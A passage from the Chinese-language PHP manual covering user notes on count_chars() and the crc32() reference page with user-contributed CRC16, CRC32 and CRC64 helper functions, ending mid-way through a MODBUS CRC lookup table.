            $result[$code]++;
        }
    }

    switch ($mode) {
        case 1: // same as 0 but only byte-values with a frequency greater than zero are listed.
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 2: // same as 0 but only byte-values with a frequency equal to zero are listed.
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 3: // a string containing all unique characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
        case 4: // a string containing all not used characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
    }

    // change key names...
    foreach ($result as $key => $value) {
        $result[chr($key)] = $value;
        unset($result[$key]);
    }

    return $result;

}
?>
qeremy [atta] gmail [dotta] com 19-Jan-2013 06:06
Another approach to counting unicode chars.

<?php
function count_chars_unicode($str, $x = false) {
    $tmp = preg_split('//u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($tmp as $c) {
        $chr[$c] = isset($chr[$c]) ? $chr[$c] + 1 : 1;
    }
    return is_bool($x)
        ? ($x ? $chr : count($chr))
        : $chr[$x];
}

$str = "?eker ?eker yariiiiiiiiiimmmmm";
print_r(count_chars_unicode($str, 'a'));    // frequency of "a"
print_r(count_chars_unicode($str));         // count of uniq chars
print_r(count_chars_unicode($str, true));   // all chars with own frequency
?>

Outputs;
1
9
Array
(
    [?] => 2
    [e] => 4
    [k] => 2
    [r] => 3
    [ ] => 2
    [y] => 1
    [a] => 1
    [i] => 10
    [m] => 5
)
marcus33cz 01-Feb-2012 11:43
If you have problems using count_chars with a multibyte string, you can change the page encoding. Alternatively, you can also use this mb_count_chars version of the function. Basically it is mode "1" of the original function.

<?php
/**
 * Counts character occurences in a multibyte string
 * @param string $input UTF-8 data
 * @return array associative array of characters.
 */
function mb_count_chars($input) {
    $l = mb_strlen($input, 'UTF-8');
    $unique = array();
    for($i = 0; $i < $l; $i++) {
        $char = mb_substr($input, $i, 1, 'UTF-8');
        if(!array_key_exists($char, $unique))
            $unique[$char] = 0;
        $unique[$char]++;
    }
    return $unique;
}

$input = "Let's try some Greek letters: αααααΕεΙιΜμΨψ, Russian: ЙЙЫЫЩН, Czech: ě????yáíé";
print_r( mb_count_chars($input) );
//returns: Array ( [L] => 1 [e] => 7 [t] => 4 ['] => 1 [s] => 5 [ ] => 9 [r] => 3 [y] => 1 [o] => 1 [m] => 1 [G] => 1 [k] => 1 [l] => 1 [:] => 3 [α] => 5 [Ε] => 1 [ε] => 1 [Ι] => 1 [ι] => 1 [Μ] => 1 [μ] => 1 [Ψ] => 1 [ψ] => 1 [,] => 2 [R] => 1 [u] => 1 [i] => 1 [a] => 1 [n] => 1 [Й] => 2 [Ы] => 2 [Щ] => 1 [Н] => 1 [C] => 1 [z] => 1 [c] => 1 [h] => 1 [ě] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [y] => 1 [á] => 1 [í] => 1 [é] => 1 )
?>
phpC2007 04-Dec-2007 07:42
Here's a function to count number of strings in a string. It can be used as a simple utf8-enabled count_chars (but limited to a single mode)...

<?php
function utf8_count_strings($stringChar)
{
    $num = -1;
    $lenStringChar = strlen($stringChar);

    for ($lastPosition = 0;
        $lastPosition !== false;
        $lastPosition = strpos($textSnippet, $stringChar, $lastPosition + $lenStringChar))
    {
        $num++;
    }

    return $num;
}
?>
pzb at novell dot com 28-Jul-2007 06:29
This function is great for input validation.  I frequently need to check that all characters in a string are 7-bit ASCII (and not null).  This is the fastest function I have found yet:

<?php
function is7bit($string) {
    // empty strings are 7-bit clean
    if (!strlen($string)) {
        return true;
    }
    // count_chars returns the characters in ascending octet order
    $str = count_chars($str, 3);
    // Check for null character
    if (!ord($str[0])) {
        return false;
    }
    // Check for 8-bit character
    if (ord($str[strlen($str)-1]) & 128) {
        return false;
    }
    return true;
}
?>
apinpratap at gmail dot com 29-Mar-2007 10:54
this code can find each characters count

<?php
$enter = 0;
$data = strtolower ($inputString);
foreach (count_chars ($data, 1) as $i => $val)
    {
        if ($enter == 1)
        {
            $enter = 0;
            continue;
        }
        if (chr ($i) == "\n")
        {
            echo "There are $val instance(s) of \" Enter \" in the string.\n";
            $enter = 1;
        }
        else
        {
            echo "There are $val instance(s) of \"" , chr ($i) , "\" in the string.\n";
        }
    }
?>
Eric Pecoraro 27-May-2005 07:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
    if ( count(count_chars($string,1)) < $unique) {
        echo 'false';
    }else{
        echo 'true';
    }
}

?>
seb at synchrocide dot net 16-May-2004 03:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org 29-Jan-2002 04:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com 31-Jan-2001 05:04
Here are some more experiments on this relatively new and extremely handy function.

<?php
$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'
?>

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

<?php
$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.';
?>

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)


计算一个字符串的 crc32 多项式

  • ? count_chars
  • crypt ?
  • PHP Manual
  • 字符串 函数
  • 计算一个字符串的 crc32 多项式

crc32

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

crc32 — 计算一个字符串的 crc32 多项式

说明

crc32(string $string): int

生成 string 的 32 位循环冗余校验和多项式。这通常用于检查正在传输的数据是否完整。

Warning

由于 PHP 的整数类型是有符号的，所以在 32 位系统上许多 crc32 校验和将产生负整数。不过在 64 位上所有 crc32() 的结果将都是正整数。

因此需要使用 sprintf() 或 printf() 的"%u"格式标志符获取十进制格式的无符号 crc32 校验和的字符串表示形式。

对于十六进制的校验和可以使用 sprintf() 或 printf()
的"%x"格式标志符或 dechex() 转换程序，这两个函数负责将
crc32() 结果转为无符号整数。

64 位的设备也会返回负数，更高的结果值会破坏十六进制转换，因为负数会得到额外的 0xFFFFFFFF######## 偏移量。由于十六进制似乎是最常见的用例，所以决定不破坏该原则，即使从 32 位移动到 64 位时破坏了大约 50% 的十进制直接比较。

回想一下，让函数返回整数可能不是最好的主意，而立即返回十六进制的字符串（例如 md5()）可能是更好的开始。

可移植方案可以考虑通用的 hash()。hash("crc32b", $str) 返回跟 str_pad(dechex(crc32($str)), 8, '0', STR_PAD_LEFT) 相同的字符串。

参数

string

要校验的数据。

返回值

以整数形式返回 string 的 crc32 校验和。

示例

Example #1 显示 crc32 校验和

示例中演示了如何使用 printf() 函数打印转换后的校验和：

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

参见

  • hash() - 生成散列值（消息摘要）
  • md5() - 计算字符串的 MD5 散列值
  • sha1() - 计算字符串的 sha1 散列值

User Contributed Notes

dotg at mail dot ru 29-Dec-2016 09:33
crc32() on php 32bit and 64 bit not equal in some values

i use abs for result in positive for 32 bit

not equal
<?=abs(crc32(1));?>
64 bit
2212294583
32 bit
2082672713

equal
<?=abs(crc32(3));?>
64 bit
1842515611
32 bit
1842515611
toggio at writeme dot com 30-Jan-2016 05:15
A faster implementation of modbus CRC16

function crc16($data)
 {
   $crc = 0xFFFF;
   for ($i = 0; $i < strlen($data); $i++)
   {
     $crc ^=ord($data[$i]);

        for ($j = 8; $j !=0; $j--)
        {
            if (($crc & 0x0001) !=0)
            {
                $crc >>= 1;
                $crc ^= 0xA001;
            }
            else
                $crc >>= 1;
        }
    }
   return $crc;
 }
JS at JavsSys dot Org 13-Apr-2013 04:22
The khash() function by sukitsupaluk has two problems, it does not use all 62 characters from the $map set and when corrected it then produces different results on 64-bit compared to 32-bit PHP systems.

Here is my modified version :

<?php

/**
 * Small sample convert crc32 to character map
 * Based upon http://www.php.net/manual/en/function.crc32.php#105703
 * (Modified to now use all characters from $map)
 * (Modified to be 32-bit PHP safe)
 */
function khash($data)
{
    static $map = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash = bcadd(sprintf('%u',crc32($data)) , 0x100000000);
    $str = "";
    do
    {
        $str = $map[bcmod($hash, 62) ] . $str;
        $hash = bcdiv($hash, 62);
    }
    while ($hash >= 1);
    return $str;
}
//-----------------------------------------------------------------------------------
$test = array(null, true, false, 0, "0", 1, "1", "2", "3", "ab", "abc", "abcd",
    "abcde", "abcdefoo", "248840027", "1365848013", // time()
    "9223372035488927794", // PHP_INT_MAX-time()
    "901131979", // mt_rand()
    "Sat, 13 Apr 2013 10:13:33 +0000" // gmdate('r')
);
$out = array();
foreach ($test as $s)
{
    $out[] = khash($s) . ": " . $s;
}
print "<h3>khash() -- maps a crc32 result into a (62-character) result</h3>";
print '<pre>';
var_dump($out);
print "\n\n\$GLOBALS['raw_crc32']:\n";
var_dump($GLOBALS['raw_crc32']);
print '</pre><hr>';
flush();
$pefile = __FILE__;
print "<h3>$pefile</h3>";
ob_end_flush();
flush();
highlight_file($pefile);
print "<hr>";
//-----------------------------------------------------------------------------------
/* CURRENT output
array(19) {
  [0]=>
  string(8) "4GFfc4: "
  [1]=>
  string(9) "76nO4L: 1"
  [2]=>
  string(8) "4GFfc4: "
  [3]=>
  string(9) "9aGcIp: 0"
  [4]=>
  string(9) "9aGcIp: 0"
  [5]=>
  string(9) "76nO4L: 1"
  [6]=>
  string(9) "76nO4L: 1"
  [7]=>
  string(9) "5b8iNn: 2"
  [8]=>
  string(9) "6HmfFN: 3"
  [9]=>
  string(10) "7ADPD7: ab"
  [10]=>
  string(11) "5F0aUq: abc"
  [11]=>
  string(12) "92kWw9: abcd"
  [12]=>
  string(13) "78hcpf: abcde"
  [13]=>
  string(16) "9eBVPB: abcdefoo"
  [14]=>
  string(17) "5TjOuZ: 248840027"
  [15]=>
  string(18) "5eNliI: 1365848013"
  [16]=>
  string(27) "4Q00e5: 9223372035488927794"
  [17]=>
  string(17) "6DUX8V: 901131979"
  [18]=>
  string(39) "5i2aOW: Sat, 13 Apr 2013 10:13:33 +0000"
}
*/
//-----------------------------------------------------------------------------------

?>
i at morfi dot ru 18-Mar-2013 01:16
Implementation crc64() in php 64bit

<?php

/**
 * @return array
 */
function crc64Table()
{
    $crc64tab = [];

    // ECMA polynomial
    $poly64rev = (0xC96C5795 << 32) | 0xD7870F42;

    // ISO polynomial
    // $poly64rev = (0xD8 << 56);

    for ($i = 0; $i < 256; $i++)
    {
        for ($part = $i, $bit = 0; $bit < 8; $bit++) {
            if ($part & 1) {
                $part = (($part >> 1) & ~(0x8 << 60)) ^ $poly64rev;
            } else {
                $part = ($part >> 1) & ~(0x8 << 60);
            }
        }

       $crc64tab[$i] = $part;
    }

    return $crc64tab;
}

/**
 * @param string $string
 * @param string $format
 * @return mixed
 *
 * Formats:
 *  crc64('php'); // afe4e823e7cef190
 *  crc64('php', '0x%x'); // 0xafe4e823e7cef190
 *  crc64('php', '0x%X'); // 0xAFE4E823E7CEF190
 *  crc64('php', '%d'); // -5772233581471534704 signed int
 *  crc64('php', '%u'); // 12674510492238016912 unsigned int
 */
function crc64($string, $format = '%x')
{
    static $crc64tab;

    if ($crc64tab === null) {
        $crc64tab = crc64Table();
    }

    $crc = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $crc = $crc64tab[($crc ^ ord($string[$i])) & 0xff] ^ (($crc >> 8) & ~(0xff << 56));
    }

    return sprintf($format, $crc);
}
Clifford dot ct at gmail dot com 07-Aug-2012 08:54
The crc32() function can return a signed integer in certain environments.  Assuming that it will always return an unsigned integer is not portable.

Depending on your desired behavior, you should probably use sprintf() on the result or the generic hash() instead.  Also note that integer arithmetic operators do not have the precision to work correctly with the integer output.
alban dot lopez+php [ at ] gmail dot com 26-Nov-2011 06:02
I made this code to verify Transmition with Vantage Pro2 ( weather station ) based on CRC16-CCITT standard.

<?php
// CRC16-CCITT validator
$crc_table = array(
    0x0,  0x1021,  0x2042,  0x3063,  0x4084,  0x50a5,  0x60c6,  0x70e7,
        0x8108,  0x9129,  0xa14a,  0xb16b,  0xc18c,  0xd1ad,  0xe1ce,  0xf1ef,
        0x1231,  0x210,  0x3273,  0x2252,  0x52b5,  0x4294,  0x72f7,  0x62d6,
        0x9339,  0x8318,  0xb37b,  0xa35a,  0xd3bd,  0xc39c,  0xf3ff,  0xe3de,
        0x2462,  0x3443,  0x420,  0x1401,  0x64e6,  0x74c7,  0x44a4,  0x5485,
        0xa56a,  0xb54b,  0x8528,  0x9509,  0xe5ee,  0xf5cf,  0xc5ac,  0xd58d,
        0x3653,  0x2672,  0x1611,  0x630,  0x76d7,  0x66f6,  0x5695,  0x46b4,
        0xb75b,  0xa77a,  0x9719,  0x8738,  0xf7df,  0xe7fe,  0xd79d,  0xc7bc,
        0x48c4,  0x58e5,  0x6886,  0x78a7,  0x840,  0x1861,  0x2802,  0x3823,
        0xc9cc,  0xd9ed,  0xe98e,  0xf9af,  0x8948,  0x9969,  0xa90a,  0xb92b,
        0x5af5,  0x4ad4,  0x7ab7,  0x6a96,  0x1a71,  0xa50,  0x3a33,  0x2a12,
        0xdbfd,  0xcbdc,  0xfbbf,  0xeb9e,  0x9b79,  0x8b58,  0xbb3b,  0xab1a,
        0x6ca6,  0x7c87,  0x4ce4,  0x5cc5,  0x2c22,  0x3c03,  0xc60,  0x1c41,
        0xedae,  0xfd8f,  0xcdec,  0xddcd,  0xad2a,  0xbd0b,  0x8d68,  0x9d49,
        0x7e97,  0x6eb6,  0x5ed5,  0x4ef4,  0x3e13,  0x2e32,  0x1e51,  0xe70,
        0xff9f,  0xefbe,  0xdfdd,  0xcffc,  0xbf1b,  0xaf3a,  0x9f59,  0x8f78,
        0x9188,  0x81a9,  0xb1ca,  0xa1eb,  0xd10c,  0xc12d,  0xf14e,  0xe16f,
        0x1080,  0xa1,  0x30c2,  0x20e3,  0x5004,  0x4025,  0x7046,  0x6067,
        0x83b9,  0x9398,  0xa3fb,  0xb3da,  0xc33d,  0xd31c,  0xe37f,  0xf35e,
        0x2b1,  0x1290,  0x22f3,  0x32d2,  0x4235,  0x5214,  0x6277,  0x7256,
        0xb5ea,  0xa5cb,  0x95a8,  0x8589,  0xf56e,  0xe54f,  0xd52c,  0xc50d,
        0x34e2,  0x24c3,  0x14a0,  0x481,  0x7466,  0x6447,  0x5424,  0x4405,
        0xa7db,  0xb7fa,  0x8799,  0x97b8,  0xe75f,  0xf77e,  0xc71d,  0xd73c,
        0x26d3,  0x36f2,  0x691,  0x16b0,  0x6657,  0x7676,  0x4615,  0x5634,
        0xd94c,  0xc96d,  0xf90e,  0xe92f,  0x99c8,  0x89e9,  0xb98a,  0xa9ab,
        0x5844,  0x4865,  0x7806,  0x6827,  0x18c0,  0x8e1,  0x3882,  0x28a3,
        0xcb7d,  0xdb5c,  0xeb3f,  0xfb1e,  0x8bf9,  0x9bd8,  0xabbb,  0xbb9a,
        0x4a75,  0x5a54,  0x6a37,  0x7a16,  0xaf1,  0x1ad0,  0x2ab3,  0x3a92,
        0xfd2e,  0xed0f,  0xdd6c,  0xcd4d,  0xbdaa,  0xad8b,  0x9de8,  0x8dc9,
        0x7c26,  0x6c07,  0x5c64,  0x4c45,  0x3ca2,  0x2c83,  0x1ce0,  0xcc1,
        0xef1f,  0xff3e,  0xcf5d,  0xdf7c,  0xaf9b,  0xbfba,  0x8fd9,  0x9ff8,
        0x6e17,  0x7e36,  0x4e55,  0x5e74,  0x2e93,  0x3eb2,  0xed1,  0x1ef0);

    $test = chr(0xC6).chr(0xCE).chr(0xA2).chr(0x03); // CRC16-CCITT = 0xE2B4
    genCRC ($test);

function genCRC (&$ptr)
{
    $crc = 0x0000;
    $crc_table = $GLOBALS['crc_table'];
    for ($i = 0; $i < strlen($ptr); $i++)
        $crc =  $crc_table[(($crc>>8) ^ ord($ptr[$i]))] ^ (($crc<<8) & 0x00FFFF);
    return $crc;
}
?>
arris at zsolttech dot com 19-Oct-2011 05:17
not found anywhere crc64 based on http://bioinfadmin.cs.ucl.ac.uk/downloads/crc64/crc64.c .

(use gmp module)

<?php

/* OLDCRC */
define('POLY64REV', "d800000000000000");
define('INITIALCRC', "0000000000000000");
define('TABLELEN', 256);
/* NEWCRC */
// define('POLY64REV', "95AC9329AC4BC9B5");
// define('INITIALCRC', "FFFFFFFFFFFFFFFF");

if(function_exists('gmp_init')){
        class CRC64{

                private static $CRCTable = array();

                public static function encode($seq){

                        $crc = gmp_init(INITIALCRC, 16);
                        $init = FALSE;
                        $poly64rev = gmp_init(POLY64REV, 16);

                        if (!$init)
                        {
                                $init = TRUE;
                                for ($i = 0; $i < TABLELEN; $i++)
                                {
                                        $part = gmp_init($i, 10);
                                        for ($j = 0; $j < 8; $j++)
                                        {
                                                if (gmp_strval(gmp_and($part, "0x1")) != "0"){
                                                        // if (gmp_testbit($part, 1)){ /* PHP 5 >= 5.3.0, untested */
                                                        $part = gmp_xor(gmp_div_q($part, "2"), $poly64rev);
                                                } else {
                                                        $part = gmp_div_q($part, "2");
                                                }
                                        }
                                        self::$CRCTable[$i] = $part;
                                }
                        }

                        for($k = 0; $k < strlen($seq); $k++){
                                $tmp_gmp_val = gmp_init(ord($seq[$k]), 10);
                                $tableindex = gmp_xor(gmp_and($crc, "0xff"), $tmp_gmp_val);
                                $crc = gmp_div_q($crc, "256");
                                $crc = gmp_xor($crc, self::$CRCTable[gmp_strval($tableindex, 10)]);
                        }

                        $res = gmp_strval($crc, 16);

                        return $res;
                }
        }
} else {
        die("Please install php-gmp package!!!");
}
?>
sukitsupaluk at hotmail dot com 08-Sep-2011 03:04
small sample convert crc32 to character map

<?php

function khash($data) {
    static $map="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash=crc32($data)+0x100000000;
    $str = "";
    do {
        $str = $map[31+ ($hash % 31)] . $str;
        $hash /= 31;
    } while($hash >= 1);
    return $str;
}
$test= array(null,TRUE,FALSE,0,"0",1,"1","2","3","ab","abc","abcd","abcde","abcdefoo");
$out = array();
foreach($test as $s)
{
    $out[]=khash($s).": ". $s;
}
var_dump($out);

/*
output:
array
  0 => string 'zVvOYTv: ' (length=9)
  1 => string 'xKDKKL8: 1' (length=10)
  2 => string 'zVvOYTv: ' (length=9)
  3 => string 'zOKCQxh: 0' (length=10)
  4 => string 'zOKCQxh: 0' (length=10)
  5 => string 'xKDKKL8: 1' (length=10)
  6 => string 'xKDKKL8: 1' (length=10)
  7 => string 'AFSzIAO: 2' (length=10)
  8 => string 'BXGSvQJ: 3' (length=10)
  9 => string 'xZWOQSu: ab' (length=11)
  10 => string 'AVAwHOR: abc' (length=12)
  11 => string 'zKASNE1: abcd' (length=13)
  12 => string 'xLCTOV7: abcde' (length=14)
  13 => string 'zQLzKMt: abcdefoo' (length=17)

*/

?>
chernyshevsky at hotmail dot com 22-Sep-2010 03:54
The crc32_combine() function provided by petteri at qred dot fi has a bug that causes an infinite loop, a shift operation on a 32-bit signed int might never reach zero. Replacing the function gf2_matrix_times() with the following seems to fix it:

<?php
function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;

    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec = ($vec >> 1) & 0x7FFFFFFF;
        $i++;
    }
    return $sum;
}
?>

Otherwise, it's probably the best solution if you can't use hash_file(). Using a 1meg read buffer, the function only takes twice as long to process a 300meg files than hash_file() in my test.
gabri dot ns at gmail dot com 15-Sep-2010 10:05
if you are looking for a fast function to hash a file, take a look at
http://www.php.net/manual/en/function.hash-file.php
this is crc32 file checker based on a CRC32 guide
it have performance at ~ 625 KB/s on my 2.2GHz Turion
far slower than hash_file('crc32b','filename.ext')
<?php
function crc32_file ($filename)
{
   $f = @fopen($filename,'rb');
   if (!$f) return false;

   static $CRC32Table, $Reflect8Table;
   if (!isset($CRC32Table))
   {
      $Polynomial = 0x04c11db7;
      $topBit = 1 << 31;

      for($i = 0; $i < 256; $i++)
      {
         $remainder = $i << 24;
         for ($j = 0; $j < 8; $j++)
         {
            if ($remainder & $topBit)
               $remainder = ($remainder << 1) ^ $Polynomial;
            else $remainder = $remainder << 1;
         }

         $CRC32Table[$i] = $remainder;

         if (isset($Reflect8Table[$i])) continue;
         $str = str_pad(decbin($i), 8, '0', STR_PAD_LEFT);
         $num = bindec(strrev($str));
         $Reflect8Table[$i] = $num;
         $Reflect8Table[$num] = $i;
      }
   }

   $remainder = 0xffffffff;
   while ($data = fread($f,1024))
   {
      $len = strlen($data);
      for ($i = 0; $i < $len; $i++)
      {
         $byte = $Reflect8Table[ord($data[$i])];
         $index = (($remainder >> 24) & 0xff) ^ $byte;
         $crc = $CRC32Table[$index];
         $remainder = ($remainder << 8) ^ $crc;
      }
   }

   $str = decbin($remainder);
   $str = str_pad($str, 32, '0', STR_PAD_LEFT);
   $remainder = bindec(strrev($str));
   return $remainder ^ 0xffffffff;
}
?>

<?php
$a = microtime();
echo dechex(crc32_file('filename.ext'))."\n";
$b = microtime();
echo array_sum(explode(' ',$b)) - array_sum(explode(' ',$a))."\n";
?>
Output:
ec7369fe
2.384134054184 (or similiar)
jian at theorchard dot com 17-Feb-2010 10:13
This function returns an unsigned integer from a 64-bit Linux platform.  It does return the signed integer from other 32-bit platforms even a 64-bit Windows one.

The reason is because the two constants PHP_INT_SIZE and PHP_INT_MAX have different values on the 64-bit Linux platform.

I've created a work-around function to handle this situation.

<?php
function get_signed_int($in) {
    $int_max = pow(2, 31)-1;
    if ($in > $int_max){
        $out = $in - $int_max * 2 - 2;
    }
    else {
        $out = $in;
    }
    return $out;
}
?>

Hope this helps.
berna (at) gensis (dot) com (dot) br 29-Sep-2009 08:16
For those who want a more familiar return value for the function:

<?php
function strcrc32($text) {
  $crc = crc32($text);
  if ($crc & 0x80000000) {
    $crc ^= 0xffffffff;
    $crc += 1;
    $crc = -$crc;
  }
  return $crc;
}
?>

And to show the result in Hex string:

<?php
function int32_to_hex($value) {
  $value &= 0xffffffff;
  return str_pad(strtoupper(dechex($value)), 8, "0", STR_PAD_LEFT);
}
?>
dave at jufer dot info 03-Dec-2007 02:15
This function returns the same int value on a 64 bit mc. like the crc32() function on a 32 bit mc.

<?php
function crcKw($num){
    $crc = crc32($num);
    if($crc & 0x80000000){
        $crc ^= 0xffffffff;
        $crc += 1;
        $crc = -$crc;
    }
    return $crc;
}
?>
Ren 03-Oct-2007 11:53
Dealing with 32 bit unsigned values overflowing 32 bit php signed values can be done by adding 0x10000000 to any unexpected negative result, rather than using sprintf.

$i = crc32('1');
printf("%u\n", $i);
if (0 > $i)
{
    // Implicitly casts i as float, and corrects this sign.
    $i += 0x100000000;
}
var_dump($i);

Outputs:

2212294583
float(2212294583)
slimshady451 20-Jun-2007 02:14
I see a lot of function for crc32_file, but for php version >= 5.1.2 don't forget you can use this :

<?php
function crc32_file($filename)
{
    return hash_file ('CRC32', $filename , FALSE );
}
?>

Using crc32(file_get_contents($filename)) will use too many memory on big file so don't use it.
mail at tristansmis dot nl 30-May-2007 01:36
I used the abs value of this function on a 32-bit system. When porting the code to a 64-bit system I've found that the value is different. The following code has the same outcome on both systems.
<?php

   $crc = abs(crc32($string));
   if( $crc & 0x80000000){
      $crc ^= 0xffffffff;
      $crc += 1;
   }

   /* Old solution
    * $crc = abs(crc32($string))
    */

?>
roberto at spadim dot com dot br 07-Apr-2006 09:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

<?php
function crc16($string,$length=0){

    $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40);
    $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
                0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
                0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
                0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
                0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
                0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
                0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
                0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
                0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
                0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
